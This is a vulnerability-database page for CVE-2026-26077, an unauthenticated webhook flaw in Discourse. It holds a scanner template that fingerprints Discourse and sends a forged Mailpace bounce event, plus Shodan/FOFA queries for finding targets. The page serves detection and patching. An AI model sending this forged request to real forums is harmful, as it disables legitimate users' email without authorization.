Discourse - Unauthenticated Mailpace Webhook Bounce-Score Forgery
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2026-26077 | 26 Feb 202614:58 | – | attackerkb | |
| Discourse 授权问题漏洞 | 26 Feb 202600:00 | – | cnnvd | |
| CVE-2026-26077 | 26 Feb 202614:58 | – | cve | |
| CVE-2026-26077 Discourse doesn't ensure webhooks require a token | 26 Feb 202614:58 | – | cvelist | |
| EUVD-2026-8854 | 26 Feb 202614:58 | – | euvd | |
| CVE-2026-26077 | 26 Feb 202615:17 | – | nvd | |
| BIT-DISCOURSE-2026-26077 Discourse doesn't ensure webhooks require a token | 3 Mar 202613:29 | – | osv | |
| PT-2026-22150 | 26 Feb 202600:00 | – | ptsecurity | |
| CVE-2026-26077: Improper Authentication | 26 Feb 202600:00 | – | rapid7 | |
| CVE-2026-26077 | 27 Feb 202619:44 | – | redhatcve |
10
id: CVE-2026-26077
info:
name: Discourse - Unauthenticated Mailpace Webhook Bounce-Score Forgery
author: str4k3r
severity: medium
description: |
Discourse's WebhooksController contains a missing-authentication flaw caused by accepting requests to provider webhook endpoints (including /webhooks/mailpace, SendGrid, Mailjet, Mandrill, Postmark, and SparkPost) without validating a token when none is configured, which is the default state, letting an unauthenticated attacker forge webhook payloads.
impact: |
An unauthenticated attacker can forge bounce-status webhook events to artificially inflate a user's bounce score, causing that user's legitimate emails to be disabled.
remediation: |
Upgrade Discourse to the patched version, which rejects any provider webhook request with HTTP 406 when no authentication token is configured for that provider.
reference:
- https://github.com/discourse/discourse/security/advisories/GHSA-j67c-53j2-4hfw
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
cvss-score: 6.5
cve-id: CVE-2026-26077
cwe-id: CWE-306
metadata:
verified: true
max-request: 2
vendor: discourse
product: discourse
shodan-query: http.component:"Discourse"
fofa-query: body="Discourse"
tags: cve,cve2026,discourse,authbypass,unauth
variables:
token: "{{randstr}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'contains(body, "Discourse")'
internal: true
- raw:
- |
POST /webhooks/mailpace HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"event":"email.bounced","payload":{"message_id":"{{token}}@example.local","status":"bounced"}}
matchers:
- type: dsl
dsl:
- 'regex("^\\s*$", body)'
- 'contains(header, "X-Request-Id")'
- 'status_code == 200'
condition: and
# digest: 4b0a00483046022100facfe566057b228a0b5ed1d69fd5ccb14aa347fce70419993ae84f62980c989e0221008a1ac78422b1e3e0f56f4cffdc6b68de00cd967cfae4ef2a695b64d65f541070:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Sep 2026 16:56Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.16.5
EPSS0.00437
SSVC